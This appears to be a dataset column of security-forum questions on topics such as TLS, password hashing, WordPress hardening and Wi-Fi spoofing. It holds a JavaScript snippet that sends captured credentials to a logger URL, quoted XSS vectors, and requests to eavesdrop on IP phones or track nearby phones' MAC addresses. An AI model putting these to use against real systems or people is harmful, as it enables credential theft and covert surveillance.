instruction stringlengths 24 29.9k |
|---|
Can I get MAC addresses of devices (mobile phones) which are near to my network but not connected to it? (Linux)
I have been trying to get the MAC addresses of devices connected to my network through nmap command... but how can I get devices which are not connected to my network?
|
I am interested in demonstrating an attack to my university's security team on IP phones installed at the university. The IP phone models are Siemens optipath410.
Basically, using nmap, I identified a few IP phones on the network. The IP phone have the following ports open: https (443), telnet (21) and ssh (22). When I visit https://IP address, I get the webpage which asks for administrator password. The default password works here.
Now I have full control over all the settings. Is it possible that I can listen to and record conversations? Is it possible to sniff packets on Wireshark and then convert to an audio stream?
Or is possible to perform a man in the middle attack while routing the traffic on my IP and then forwarding it?
This is the main admin page.
|
Does it actually help keep a site more secure to deny all access to WP admin and make changes directly on the FTP only?
Our WP has been hacked twice now. It seems that everyone has a different idea on how to keep WP secure and as a part of the security services we received one of the consultants recommended blocking all admin access.
Fast forward a few months and it's hard to manage guest content because we end of having to do it (guest writers don't know how to use the FTP, also we worry about providing access).
So we have 3 options:
- Keep blocked to all
- Allow only certain IPs
- Open access to all
I'm grateful for any guidance.
|
Lots of sites these days, that don't deal with sensitive data, enable encryption. I think it's mostly to make (paranoid?) users feel safer. In cases where there is a user's account being logged in, their personal data accessed, I see how it can be useful.
But what if I'm just reading a news site? Everyone has access to that, it's all over newspapers even. What's the point of encrypting such easily accessible information?
Many users have public social network profiles with their interests listed in them, political and religious beliefs, or that information can be easily found from their personal blogs and websites. They don't see that as a threat to their personal life, so they choose not to hide it. How can viewing non-encrypted popular public content harm them? And how does encrypting such pages protect their privacy?
|
Sync, a new product from BitTorrent, Inc., has been cited as a viable alternative to other cloud-storage platforms. The Sync FAQ indicates that an encryption scheme is being used, but does not comment on specifics.
Does there exist any information about the type of encryption that BitTorrent Sync is using, and whether or not the implementation is secure?
|
i just get an answer from IM+ (instant messenger client android app) support and they told me that my auto saved ICQ, Googletalk, YM passwords are encrypted using TLS, so i want to ask if i need to worry?
I mean i cant use full disk encrayption on my old android so when i loose mobile what is the chance of someone be able to decrypt/crack the TLS? Or do i understand it badly? Im an amateur.
Anyone already cracked TLS?
|
SSL uses CAs which sign certificates for the domains after they validate that the person requesting is truly the owner and by a public/private key pair a encrypted connection is achieved which cant be decrypted by a MITM.
Now thinking on the long run, if someone has control over your network all the time, after some time the CA will have signed a couple of thousands more certificates which will need to be synced and downloaded to the browser using them. What is actually stopping a MiTM from intercepting that?
|
When you look at currently used concept of Root CA (primarily in SSL/TLS context), you can see a single-point-of-failure vulnerability, which means, if your private key is disclosed, you automatically lose whole chain.
Current State of Trust Chain topology
Means, you start with one self signed certificate, declared as Root CA Certificate (see http://www.tldp.org/HOWTO/SSL-Certificates-HOWTO/x160.html ), which then signs other certificates (not necessarily intermediate)
Disclosing private key for Root CA Certificate, will force you to revoke whole chain.
Possible Ring topology
I think about topology, where you have both-way signed certificates, where each CA is signed by at least two others. This could boost some security params of certificates, such as
compromising single CA will not mean revokation of whole chain (compromising CA_1 won't remove whole chain of neither CA_2 or CA_3)
creating fake CA will require you to fake at least two of them, so you can create valid chain
So the questions are:
What led creators of public key certificates to use SPoF vulnerable chain?
Is there anything, I'm missing on ring topology?
|
I work for an insurance company who will randomly (3-5 times per year) have a consumer who emails their credit card to our customer service department. We don't ask for the number, they just send it over to "expedite" their transaction.
From a PCI-DSS perspective, how should this be handled by the customer service agent? So far, all that I have come up with is "don't hit reply, create a new message", so we're not sending it back out. However, should we be expunging this from our system? Include a disclosure to the customer?
|
This has been asked a bunch of times. I am just curious to see if the below code provides a fairly significant level of security.
Are there any other cases I should consider?
Below is just an example; please ignore any syntax problems; I'm looking for insight into the security aspect of the code.
Few assumptions:
If user does nothing in 5 seconds, log him out.
If user is not coming from somePage.php log him out.
If users ip address changes, log him out.
Code:
<?php
session_start();
$time = time();
$ip = $_SERVER['REMOTE_ADDR'];
if ($time - $_SESSION['time'] > 5)
{
//function to log out user...//echo "logged Out,Time";
}
elseif ($ip !== $_SESSION['ip'])
{
//function to log out user...//echo "logged out,IP";
}
elseif ($_SERVER['HTTP_REFERER'] !== "http://server.com/somePage.php")
{
//function to log out user...//echo "logged out,Refer";
}
else
{
//do sensitive stuff
}
$_SESSION['time'] = $time;
$_SESSION['ip'] = $_SERVER['REMOTE_ADDR'];
?>
|
I have several programs (Emacs el-get, oh-my-zsh and Homebrew) that occasionally load source code from github and compile it on my machine. Is this a big security concern? What can I do to prevent malware getting on my machine this way?
|
I routinely get spam messages which state "Your account for [Insert game here] has been flagged. If you don't click this link/send us this info/go to this website in the next 72 hours, your account will be banned." I know that mails like this are pure spam, since the usual action the makers of these games do is ban first and ask questions later. I just delete them without clicking any links inside
However, I have the Outlook preview pane open, which shows a preview of the mail next to the list of emails. Can a crafty spam creator somehow hide something in this mail which could have a negative effect on my computer's health? something like a keylogger, a trojan or full-blown malware?
Assuming a fully patched version of Windows, Office 2013 and Norton 360, can someone hide malware in a message without an attachment but with embedded images?
|
I am working in the development of an application that have to download and parse this CPE file definition: http://static.nvd.nist.gov/feeds/xml/cpe/dictionary/official-cpe-dictionary_v2.3.xml
My problem is the following one.
Into some entry (of the XML file) I found something like this:
<vuln:vulnerable-configuration id="http://nvd.nist.gov/">
<cpe-lang:logical-test negate="false" operator="OR">
<cpe-lang:fact-ref name="cpe:/a:apache:tomcat:4.1.10"/>
<cpe-lang:fact-ref name="cpe:/a:apache:tomcat:4.1.12"/>
<cpe-lang:fact-ref name="cpe:/a:apache:tomcat:4.1.24"/>
<cpe-lang:fact-ref name="cpe:/a:apache:tomcat:4.1.3:beta"/>
..........................................
..........................................
..........................................
<cpe-lang:fact-ref name="cpe:/a:apache_software_foundation:tomcat:5.3"/>
<cpe-lang:fact-ref name="cpe:/a:apache_software_foundation:tomcat:5.4"/>
<cpe-lang:fact-ref name="cpe:/a:apache_software_foundation:tomcat:5.5"/>
</cpe-lang:logical-test>
</vuln:vulnerable-configuration>
<vuln:vulnerable-software-list>
<vuln:product>cpe:/a:apache_software_foundation:tomcat:4.1.34</vuln:product>
<vuln:product>cpe:/a:apache:tomcat:5.5.21</vuln:product>
<vuln:product>cpe:/a:apache_software_foundation:tomcat:4.1.37</vuln:product>
<vuln:product>cpe:/a:apache_software_foundation:tomcat:4.1.32</vuln:product>
.....................................
.....................................
.....................................
<vuln:product>cpe:/a:apache:tomcat:5.5.22</vuln:product>
<vuln:product>cpe:/a:apache:tomcat:4.1.36</vuln:product>
<vuln:product>cpe:/a:apache:tomcat:5.5.25</vuln:product>
<vuln:product>cpe:/a:apache:tomcat:5.5.1</vuln:product>
</vuln:vulnerable-software-list>
As you can see I have 2 differents collection: the first one is represented by the content of tag and the second one is represented by the content of the
What these collection exactly represents and what is the difference between them?
Tnx
|
We have a Jenkins system that builds and PGP-signs software releases, and we are considering moving the signing component to an isolated VM instead of running it as part of the overall builder infrastructure -- in order to better isolate the private keys from all the other relatively public moving parts.
A few developers are arguing against using a VM, since VMs usually have few sources of good entropy and therefore are not generally well-suited for cryptography. I want to put forth a counter-argument that since we'll be using PGP keys generated elsewhere, the only crypto operations that will be done on that VM will not be relying on RNG at all. My understanding of PGP signing process is that it calculates a sha1/sha2 hash (no RNG used) and then calculates the signature using the private key (no RNG used).
Is that correct? Or am I missing something that would make strong RNG a requirement for a system that only PGP-signs but never PGP-encrypts?
|
I am completely new to SSL/TLS and would appreciate any help you guys could give me.
To give you some background info, our company website is hosted externally by our ISP, however our email is redirected by our ISP to a mail server which is located at our offices.
We use communigate pro.
We have a customer who until recently had no problems in sending us emails, however, we now have a situation whereby their mail server is stopping emails being sent to us.
I believe the root cause of the problem is that when SSL is enabled, the customer's mail server recognises this and so attempts to send email using TLS encryption. However, the SSL certificate used by our mail server is self-signed and, as a consequence, is rejected by the customer's mail server.
The error message returned to our customers is:
(Certificate rejected over TLS. (sslv3 alert unexpected message))
If SSL is disabled on our mail exchange server, we can receive emails from our customer.
I have acquired a Free Trial SSL certificate issued by comodo, however, it appears that this is still causing a problem. The Certificate is generated for ourdomain.com.
Should this be something like mail.ourdomain.com or should we purchase a wildcard SSL Certificate? I apologise if I have not worded this very well but any advice or other suggestions would be greatly appreciated.
Thanks
|
I have found a Username Enumeration Vulnerability through which I am able to determine whether a particular user is registered with that site. While trying to brute force, after 5 attempts it asks for a CAPTCHA code. I have tried several methods to bypass the CAPTCHA but I'm not able to bypass it. So, now the situation is, I can find a particular username but cannot brute-force it. So,my question is, is this is considered a bug?
|
Say I have a piece software that allows people to download a trial version that can then be unlocked. Would the following steps below be an effective way to implement a key system for unlocking the software?
User can download trial of the software. In order to purchase they need to go to the website and enter payment information and an email.
An MD5 hash is generated from this email. This hash is stored in a DB controlled by me and also emailed to the purchaser.
User takes the hash from the email, enters it into the software. The software sends this as part of a HTTP request to a web service I control.
The web service marks this hash as "used". It then sends a response indicating that the software should unlock. Once a hash is marked as "used" it cannot be used to unlock again.
Can anyone see any problems with this plan? Is there a different method that I should be using for something like this?
|
I have email which is stored in Cookie :
%2FGl%F8%7E%06%F1S%FEF%10%E0T%B3%95%82BK%D9%D3%94%BC%AE%E1
which is sth like this after convert it with this tool : http://www.tareeinternet.com/scripts/unescape.html
/Glø~ñSþFàT³BKÙÓ¼®á
Does anybody have an idea what kind of hash it might be? I know email address which is stored here, but I don't want to make it public.
|
I see a lot of posts all over the web asking whether or not they should be using SSL to secure their website, or if it's really necessary to do so when the content of their site does not contain or request sensitive data.
Let's make the assumption here that the cost of the certificate is not the issue, considering it's not extremely expensive to get an SSL certificate. Why would you even want to host a page that isn't secured with SSL? Most all web servers support SSL out of the box, and it's usually quite simple to get it setup (especially with IIS.)
|
There is an app on xposed installer called XPrivacy for android that let's you decide what information you want your device to give a specific app and for information you don't want to give it produces and sends fake information and allows the user to continue useing the app without giving up the any information the app doesn't need to function properly.
My question is: is their a way to make different applications create and send incorrect metadata so any kind of ad agency that builds a profile on what i search would get random\incorrect information from the user?
|
I've tried to verify some vectors from OWASP XSS CheatSheet which exploits style attributes
STYLE tag using background-image
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
STYLE tag using background
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
TABLE
<TABLE BACKGROUND="javascript:alert('XSS')">
TD
Just like above, TD's are vulnerable to BACKGROUNDs containing JavaScript XSS vectors:
<TABLE><TD BACKGROUND="javascript:alert('XSS')">
But none of them seem to be working in the latest browsers - IE10, IE11, Chrome, Firefox, Safari.
Are they valid XSS vectors?
|
Actually I have a case where I should able to detect the mobile phones and get some data about the device available in my network range without connecting to the network.
I have seen somewhere that a smart-phone continuously transmits hello packets so that we can detect that device when it comes in our network.
Can a smart-phone send hello packets continuously?
if so.. how can we detect them and get some data about that device?
|
https://en.wikipedia.org/wiki/Evil_twin_%28wireless_networks%29
My question: it's OK that someone can make an AP with the same MAC and SSID as the original AP. And with stronger signal. But what I don't understand is how can a rogue AP be configured in a way that will accept the password? (the password is for the original AP).
UPDATE: Are there any ways to configure an AP with ex.: WPA2-PSK that accepts any passwords?? (and so, the password will be stored?)
|
I'm making a new mail protocol (probably already exists, but I've learnt a lot of things about security and privacy on the way).
Here's the summary(much simpler if you know bitcoin's inner workings):
Every user has a list of public and private keys.
Every mail is in a file that every node has a copy of.
users can send messages using the following protocol:
message = encrypt("Your message here", receiver.publicKey);
signature = sign(message, sender.privateKey);
proofOfWork = hashcashAlg(message); see: hashcash
When sending a new mail, you send your public key, receiver's public key, message, signature and proofOfWork to all nodes known to you. Every node then sends that mail on to all nodes they know.
Now I've got this problem: public keys (currently RSA) are extremely long. When you would want to send a mail to someone, you would need to know their public key.
Are there any asymmetric encryption algorithms that use smaller public keys? Or some way I can put the long RSA key through a RIPEMD160 and it still being usable?
|
I am trying to find an updated book (preferably from 2012-2013) that can cover linux security aspects comprehensively. I searched on Amazon and found that most Linux security books are from back in 2001. The one I thought had practical contents (atleast from its table of contents) was Linux Security By Craig Hunt
Can anyone suggest what other, more updated & comprehensive, linux security books are out there ?
|
We are currently developing a web app that allows users to upload files to act as attachments to information they provide.
Obviously allowing users to upload any file types is very dangerous, therefore we're adding steps to stop certain files.
Primarily exe and zip. But the thought has occurred that a user could simply rename a .exe and give it another extension. So now we're thinking about checking the header file to ensure it's actually the file type it says it is, but is this actually necessary? Would there be a way for a user to change the extension and still have the file as malicious or auto running? Surely the change of extension would mean it was handled incorrectly by windows?
|
In GSM networks, it is found that there are so many mobile phone messages (uplink) with the first octet 01000000. For example, the 28-octet message is:
[64,32,238,176,168,33,236,7,11,43,43,43,43,43,43,43,43,43,43,43,43,43,43,236,40,175,214,203]
(each octet is in decimal)
I have no idea what these messages are? It seems that the they are from SDCCH with L2 frame type Bter. Format Bter is used on request of higher layers if and only if short L2 header type 1 is supported and a UI command is to be transmitted on SAPI 0 (see GSM 04.06 2.1). But what is the purpose of them?
|
Based on:
https://security.stackexchange.com/a/33520/42220
and
https://security.stackexchange.com/a/41630/42220
I can see the benefits of a completely random salt per user.
If I am implementing an application that will only ever be used by one user per database, is there any point in having a randomly generated salt?
If the salt was a string, e.g. a permanent, non-changing GUID, that is generated when an initial password is provided for the first time, can this safely be reused for this user every time?
Surely if the salt was randomly generated, it would need to be stored alongside the encrypted user password and user ID, which would mean the attacker has access to the salt from the database, which is just the same as if they reverse engineered the source code and saw a single, hard-coded salt in there?
|
I registered for a webpage years ago and have been using it without issues, today I made some changes to my account and they sent me an email containing my username and password in clear text.
I sent the company an email questioning their password handling procedures, but they claimed it was watertight.
My question is: When they send me my password in clear text does that mean they are actually storing it in cleartext (or in a easily reversible cryptographic way)?
I thought the whole point was that the password was hashed in a non-reversible fashion?
|
If one steals someone's phone, he can easily use the password recovery mechanism to gain access to the person's Gmail account. Even if the victim had a alternative mail for a password recovery, the attacker can remove this mail address once he gains access to the account. Using Google's 2-step authentication will not help, since the authentication code is probably sent to the phone. This makes the phone a single point of failure. Is there anything to be done in order to protect an account from such hijacking, beside locking the phone?
|
I got the question "Explain how one would typically detect systems vulnerable to “NULL Session” " ,but I do not know how to answer this question. Could you help me?
|
Say I have a client and a server. I want the user with the client to login to the server with a username and password combination.
To login, they have to enter the right password which (when hashed) matches the details stored on my server.
Where do I perform the hashing function on the password entered by the user? Should the client's computer perform the hashing function and send the hashed result to my server (hoping that nobody figures out a working hash to send)? Or, should the server perform the hash on the password (hoping the connection between the two is secure)?
I'm keeping this as abstract as possible in hopes of applying it to multiple situations.
|
I have an application where a code scanner has identified CRLF injection possibilities in some classes related to email generation.
I understand how CRLF injection could be used against me on URL-based attacks, but google has been kinda silent on threats coming from email. Are we concerned with injecting different addresses in SMTP conversations like this:
http://en.wikipedia.org/wiki/Simple_Mail_Transfer_Protocol#SMTP_transport_example
?
Or something else?
|
We're using AES-CBC and HMAC to encrypt and authenticate our messages (using encrypt-then-authenticate method).
Sometimes I see solutions (like this one) which are deriving encryption and authorization keys from single AES master key:
Kenc = AES(Kmaster, P + "1")
Kauth = AES(Kmaster, P + "2")
Questions
Is it somehow improves security (in case if P and derivation algorithm is know to attacker)? If so, does deriving Kenc from Kmaster is really a necessary step?
|
Following from, What information is leaked from an OpenPGP encrypted file?, which was very helpful, I'd like to ask a similar question regarding symmetric encryption.
For example, in a file encrypted with
gpg -c --cipher-algo AES256 --armor -o file.asc file.txt
Is the passphrase hash (with salt and iterations as specified by --s2k-count) stored in the file.asc? How does gpg know a passphrase is correct?
|
I am looking for web services that allow clients to authenticate using digital signatures.
Especially with e-commerce and payments, clients generally authenticate using name and password (sometimes using an additional factor). I'm looking for something entirely different: services where the client is authenticated by digitally signing a challenge provided by the server, otherwise providing no password at all.
I'm especially interested in web services in the field of e-commerce, but I'll take any well known web service that can be used to construct a mashup demo -- so far I wasn't able to find any.
Are any of you familiar with any such services?
|
Recently, I had my credit/debit card from my bank "stolen." The thieves somehow got my card number and information and took quite a bit of money from my account. Fortunately, I was able to recover it all.
The whole process was stressful and time consuming. My account was frozen so I could not access my money, I had to get issued a new card which took weeks, and I had to dispute the charges made.
There were two main purchases made using my card. One purchase was made online from all the way across the country! The other was an in-person transaction made at a store downstate from where I live. The bank told me that someone made a fake card using my card's information, and that's how that purchase was made. Is that something that can be done or were they just telling me that for whatever reason?
Now that everything is back to normal, I want to know how to prevent this from happening again. What caused this in the first place? Was it just my carelessness? How can I ensure that this does not happen again?
|
I have these doubts regarding authentication in SSL/TLS :
Will there be an authentication involved for all SSL connections ? For eg. when I browse the internet, using the most up-to-date browser, can I assume that there is always authentication involved ? From other questions I learnt that they are mostly to avoid a MITM. But is it optional/mandatory ? RFC says,
This authentication can be made optional, but is generally required
for at least one of the peers.
If yes, does it always depend on the server certificate key size ? Say for eg: RSA public key size 2048, DSA key size 256.
When referring to the cipher suite used for SSL - is it okay to say the authentication happened with the <Auth> algorithm with <server_cert_key_size> ? ( Considering I'm using cipher suite : TLS_<Keyexchange>_<Auth>_<EncCipher>_<MAC> ). I know the authentication mechanism differs by the type of key exchange (DHE vs. RSA), but is the usage of <server_cert_key_size> consistent ?
Sorry for asking 3 questions in one. But they are very much related.
EDIT: To rephrase, and to be precise - is SSL/TLS authentication only as strong as the server certificate key size ?
|
Gmail was recently changed to require HTTPS for everyone, whether they want to use it or not. While I realize that HTTPS is more secure, what if one doesn't care about security for certain accounts?
Some have criticized Google for being Evil by forcing them into a secure connection even if they don't want to be secure. They argue that if it's just their own account, shouldn't they be the only one to decide whether or not to secure themselves?
Note: This question was posted in reference to the article linked above in order to provide a canonical answer to the question being asked off-site (which is why it was answered by the same person who asked it).
|
A relative of mine used a favorites link to login to yahoo. The favorite link is
https://de.mg40.mail.yahoo.com/neo/launch?
However, this link uses a fraudulent certificate. Visiting the Yahoo website was now (maybe 2 weeks ago) reported as insecure (you can try above link). However, when redirected from the main yahoo.de website to a different server, Yahoo already uses a newer certificate which is not fraudulent.
What is a good reason to keep a fraudulent certificate and not replace it by a renewed one?
|
Is there a difference between "security management" and "security engineering"? I read about security engineering in some places and security management in others, but I really can't find what the difference is between those.
|
Background: I'm building a .NET application, a very small part of this application allows for users to communicate with a third party application. I am designing this aspect. The third party simply needs the user name and expiry time (will likely be very short), because they have access to check, against our user store, if certain users are valid.
My plan is to use some sort of AES/RSA combination to do this. I have a certificate that I could pass, in private communication, to them for RSA decryption. Maybe do the following:
Encrypt required info with RSA (using certificate)
Encrypt this information with AES (append initialization vector to the end)
Pass this to the third party
Have them decrypt using the IV and private key I will give them (passed in private communications)
Have them decrypt using RSA and the certificate
Am on the right track here?
Thanks
|
Is it possible via brute force to derive a private key from a public key (such as a website's SSL certificate)? If so, how much computing power would you need to make it feasible, compared to say, current supercomputers? I thought it involved factoring prime numbers, or a similar function that's easy to compute forward, but not mathematically possible (to our current understanding) to compute in reverse, reducing cracking to a brute force scenario.
|
I'm developing a webserver that performs digital signatures of (xml, pdf and office) documents and then validates those signatures.
My idea is: an user puts its SmartCard and through a PIN, he gets his private key. Then, the private key must be sent to the server, so that the server may sign the document with that key.
Even if the private key is transmitted through a SSL channel (HTTPS), is it a good idea send the private key away from the user? What is your opinion? I'm trying to avoid to perform the signatures on client-side, so that the signature service may be accessed by every device.
Regards,
William.
|
If a merchant sends an invalid card number to the bank, will the bank have to secure the information to be PCI compliant?
|
[S]ome passwords are gleaned by hacking into computers where intruders
can find stored passwords. Those are stored in encrypted form, but
there's software that can attack the encryption. Nearly all encrypted
passwords are stored with the last character in clear text, warns
NASA, so the last character is a throwaway. [Emphasis added.]
See #5 in Tech News Daily: How to Write the Perfect Password - Jan. 27, 2010
Does anyone know whether / when this is true? Have a reference suitable for an intelligent non-mathlete?
I usually assume "encrypted" actually means some salted iterated unidirectional hash but other forms of encryption are possible.
|
I'm about to go online with my first web site, it is a small project hosted on a regular home PC running Windows 7. I want to keep the software footprint at minimum, so it only contains the operating system and the web server with the website files, no antivirus, no SQL, no nothing. And except for the network cable it is completely isolated from the outside world, no cd/dvd, no keybord, no mouse, no monitor. The Windows firewall is setup to only allow incoming traffic on port 80, all outgoing traffic is blocked.
I am not a network security expert, so please correct me if I'm wrong: I think with this setup, the only possible way to have access the files and folders on that computer is through the web server via port 80, which means: if the web server allows no unauthorized access I can then trust my files will remain private. If I'm wrong, please explain why and how to solve it, again with a minimal software footprint.
Right now my main concern is privacy, so I may ignore advice on other security issues.
EDIT:
I know my web server software will be the target of most attacks, but it is not the main gate which worries me, I know in advance all sorts of people will try to pass through it, so I can be prepared and setup a whole army of police officers right there, what worries me are the possible back doors that may exist without me knowing... so my question is in the sense of how to make the OS fully and completely isolated from the outside world, in such a way that the only possible access point is through my web server listening port 80.
|
I'm trying to figure out if there is a way to be 100% sure that a GPG signature is valid. I'm not entirely sure how it all works, or the correct terminology, so forgive any lack of understanding.
I was trying to understand chain of trust, how can you guarantee that any signature you receive is not modified? Take downloading Tor browser, for example. I guess it depends on how paranoid one is. If it is assumed, for example, that Google is collaborating with the local government, and there is a regex in Chrome's binary that modifies each instance of the signature or key fingerprint to match the one that goes with the modified Tor browser, would the whole process be compromised? Or if the signature-validating software has been modified, or whatever other hypothetical challenges could be conceived.
tl;dr
What would be the minimum reasonable assumptions you would have to make about the environment/process in order to be as confident as possible that a signature and the content it signed is valid and unmodified (short of meeting the developer in person and exchanging key fingerprints)?
|
I have a friend who said he has a private exploit for all WordPress ran websites. I asked him to take down my private blog, to see if it is real. He couldn't do it. I tried to get some more information regarding it from him, and I did manage to do so.
He says it does deal with wp-config. I asked if he has to deal with the Auth Keys, which most people do not change, and he said no. Then I asked about plugins, because I am running none on this blog. He said no again.
Then I tried to see how "real" of a threat his claim is. I said "Why don't you take down a well known website running WordPress, if you know your private exploit is going to work" [Basically, with that question, I tried to see how much bullcrap he could talk about going after a target that matters when it comes to eFame]
Is there a known exploit that is public or 'private' currently available to take down a WordPress Site with only running the core web application? How secure is WordPress right now without plugins? Or is he a Script Kiddy?
|
I recently downloaded fuzzdb from http://code.google.com/p/fuzzdb/ and my antivirus kept on detecting some of the files as Trojans. I need to know if these files are safe?
|
While pointing out a SQL injection flaw on another question, I was able to show that an arbitrary sha1 hash could be inserted into a query such that it would be taken for a real hash, and was therefore able to login assuming the dummy hash was used. I could inject an ORDER BY but then wanted to make sure the hash I was using as an example was likely to come out at the top.
From my understanding, 0000000...0 should be a valid possible output from the hash function but, of course, finding the associated input is non-trivial.
In any case, it got me wondering. Is there any way - except brute force or downloading a rainbow table - to find a hash that would sort before an arbitrary point (say before 99% of passwords =~ in the first 1.46150x10^46)
I suspect the answer is no but would like confirmation.
|
Someone told me that if my device communicates with a server on Internet via VPN connection or HTTPS, all the contents that I have sent can be sniffed and decrypted by the UTM device (or more functional devices) in the LAN which I located at. In other words, administrator of the UTM device can easily get all he wants to know about what I have sent. This confused me. I think that the contents sent via VPN or HTTPS should be encrypted so that even the administrator of LAN should not be able to know the contents. Am I wrong about this? Moreover, if this is true, how can they do it?
Many thanks.
|
It is clear that some big malls are tracking all the wifi-enabled mobile phones before they are connected to the network... How can this be done?
I have a similar issue... how to get the MAC address of a mobile phone when it comes near my network but is not connected to it.
|
Why does the linux XRDP module use a 512 bit RSA key? 512 bit RSA keys are broken by now. How can this be safe?
|
After the Snowden revelations, is there any mass change being carried out to HTTPS protocol?
As far as I understood, any HTTPS communication is still visible to NSA as they can compromise the RSA protocol. Is there any existing alternative of RSA that the government and multinational organizations (where confidentiality is top priority) are using right now?
I am trying to view the contemporary picture post to Snowden revelations.
|
Well, I've been thinking about this for a while now.
Within the last decade, we've used various ways to make our websites look dynamic and live. For example, in JavaScript, it's quite easy to send data to a remote server using AJAX, even easier with Websockets.
Example for some malicious AJAX:
xmlHttp = new XMLHttpRequest();
function process() {
var secret = getCredentials();
if(xmlHttp.readyState == 4 || xmlHttp.readyState == 0) {
xmlHttp.open("GET", "http://example.com/logger.php?" + secret, true);
xmlHttp.send(null);
}
else
setTimeout("process()", 1000);
}
Also, all of you will most likely agree with me that handling user input is a very common task that can be accomplished by using just a few lines of JavaScript.
So, then, why is that we don't see any amateurs try to perform XSS attacks that try to send our keyboard input to a webserver in the background in order to retrieve our login data?
Why is it that we do not seem to be permanently suffering from those kinds of attacks on every fourth website we visit, forcing us to change our login credentials in extremely short time spans?
Are all of our websites just so well-secured?
TL;DR: Why don't we need to change passwords every few days because of seemingly trivial XSS attacks?
Edit:
As for AJAX, it seems that HTTP handles this issue just fine:
XMLHttpRequest cannot load http://example.com/logger.php?password.
No 'Access-Control-Allow-Origin' header is present on the requested
resource.
So at least for HTTP requests, this doesn't seem to be a problem. But as far as I know, websockets don't care about the source that they're reached from, or do they?
|
Someone gave me a link and asked me to open it, but I don't trust that guy. I'm not sure the link whether safe to open or not. I want to know if there a way to check the safety of the link? I have not clicked it yet.
The link is http://37.46.80.128
I don't have any knowledge about security. However, someone told me people can hack your accounts this way.
|
I am planning to make a web application deployed on a port more secure by detecting the pattern of the request an then comparing it with the patern next time that IP tries to connect.Any ways to move forward.
|
I have a self-hosted WCF application, with a server application running on the server (obviously) and a client application that will be installed on the users PC. Up until this point I have been developing the system on my personal machine and using "development" x.509 certificates and all works fine. I am comfortable with how certificate authentication works etc. but what I am stuck on is how do I deploy the client-side software with the required certificates?
FYI: the application uses TCP not HTTP.
I wish to use the active directory certification authority setup on the server.. but to be honest I can't get my head around how deployment is going to work? I have seen one tutorial that requires IIS to be setup and uses http to request the certificate manually (or something along those lines). But I don't want to setup IIS solely for that purpose... or is that my only option?
Also, regarding the client application that will be distributed using ClickOnce, will users need to manually acquire the certificate prior to installation or can this process be automated?
I am sorry if these questions come across as "newbie", but I have researched this for a couple hours and have not found anything that gives me clarity on this subject! I am prepared to make this work in whatever way deemed necessary... but what is necessary?
Thanks for your time.
|
I am concerned about the possibility to download a fake keepass upgrade.
If possible this would allow many ways to get private data on keepass files!
For example, keepass hacked or modified code could send the kbdx file by ftp to a server in China or in Crimea! Or hacked keepass could send the kbdx file attached in email in a thank you note to keepass developers...
Is this possible?
|
Virtualmin supports a flurry of algorithms for DNSSEC: RSASHA1, RSASHA256, RSAMD5, DSA, DH, HMAC-MD5(???), NSEC3RSASHA1, NSEC3DSA.
If I understand correctly, there's Proof of Concept available for SHA1 being easy to compromise when used with DKIM, because of data length. So that would lead me to believe that the same applies to DNSSEC.
Which key algorithms are most appropriate for use in DNSSEC with production environments?
And what supporting technical papers are available to substantiate the reasoning for the algorithm choice?
There's a balance to be found here however, the same one that INFOSEC so often must find, in choosing an appropriately secure algorithim without zealously draining resources in production environments.
Still, an appropriate algorithm for vital cyber systems (financial or sensitive personal information) might vary from one for mission-critical systems.
Or is the threat from man-in-the-middle attacks too great in a global cyber diaster event, such that the strongest cryptography is warranted even for mission-critical systems without highly sensitive information?
|
Now that Google, Twitter, and some other sites require a TLS connection to access their sites, when you go to http://www.twitter.com it redirects to https://www.twitter.com/. If an attacker had access to your Internet line, could he or she have the connection running over HTTP with a fake version of Twitter?
If a user nearly never checks for a secure connection on sites, and they type "twitter.com" which first checks "http://www.twitter.com/" and not "https://www.twitter.com/", could an attacker modify the HTTP connection to create a fake Twitter website without the user noticing? I'm assuming browsers try the HTTP version first rather than the HTTPS version first, but if I'm wrong please let me know.
|
I intend to use the least privileged user to do a given task. The issue is that it involve a kind of responsibility chain and translate as a sudo chain in my scripts, spreading the overall task in many places.
Sudoer file
"www-data" ALL = (webadmin) NOPASSWD: /home/webadmin/scripts/git-deploy.sh
"webadmin" ALL = (root) NOPASSWD: /root/scripts/copy-deploy ""
Details
To make the previous paragraph more tangible:
Some request is sent to Apache.
The worker is running as www-data
Through mod_php, the script /home/webadmin/scripts/git-deploy.sh is launched using
<?php
exec('/'.escapeshellarg($gitRepo))
$gitRepo is feed by the following script :
$bitBucketUrl=json_decode($request->getContent(),true);
if(isset($bitBucketUrl['url'])){
$bitBucketUrl=$bitBucketUrl['url'];
if(!preg_match('/\.git$/',$bitBucketUrl)){
$bitBucketUrl.='.git';
}
}else{
$result='bad url';
}
if(preg_match('/^git@bitbucket.org:TEAM\/[a-zA-Z0-9\.-]+\.git$/',$bitBucketUrl)){
exec(escapeshellcmd('sudo -u webadmin /home/webadmin/scripts/git-deploy.sh '.escapeshellarg($bitBucketUrl)),$results);
$result=$results;
}else{
$result=$bitBucketUrl;
}
Of course, the script /home/webadmin/scripts/git-deploy.sh check $1
#!/bin/bash
valid=^git@bitbucket.org:TEAM/[a-zA-Z0-9-]+\.git$
if [[ $1 =~ $valid ]]; then
name=${1#git@bitbucket.org:TEAM/}
name=${name%.git}
fullName=/home/webadmin/websites/$name
if [[ -e $fullName ]] ; then
echo "$fullName exists, will do a git pull instead"
echo "cd $fullName && git pull"
else
echo "/usr/bin/git clone $1"
fi
if [[ -e $fullName/deploy/apache-conf/ ]]; then
#sudo -u root /root/scripts/copy-deploy
fi
fi
Note: I know that it is only echoing, this is the test version with dummy users.
Each script is only u+rwx by his owner (700).
Question
Is spreading the scripts in various places playing against security? (Harder to grasp what is going on)
Do you see something else wrong?
|
What is the best method for securing PHP scripts that contain database passwords?
From what I've read, PHP can be revealed when an error occurs and is not caught.
Is there any way to reveal PHP by viewing source code in a browser or saving site files to a computer?
Thanks. Any information on cementing PHP scripts (except when called via AJAX) would be nice.
Is PHP encryption possible?
|
I read quite a bit from Troy Hunt about spoofing WiFi SSIDs and luring devices to connect to them.
When the Pineapple device sees a probe request it will create a WiFi with the probed SSID. The naive device will connect to the network and succeed if it is an open network.
What happens if the network is secured. Say my home network has the SSID “X” and is secured with WPA2-PSK. If such a spoofing device creates an SSID “X”, will my computer just send its password to that SSID? Do I have to worry about my WiFi password sniffed in this manner?
|
Im authenticating with a mysql server with the authentication method listed here.
